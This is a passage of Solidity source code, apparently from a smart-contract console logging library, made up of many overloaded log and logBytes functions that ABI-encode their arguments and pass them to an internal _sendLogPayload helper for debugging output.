_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } 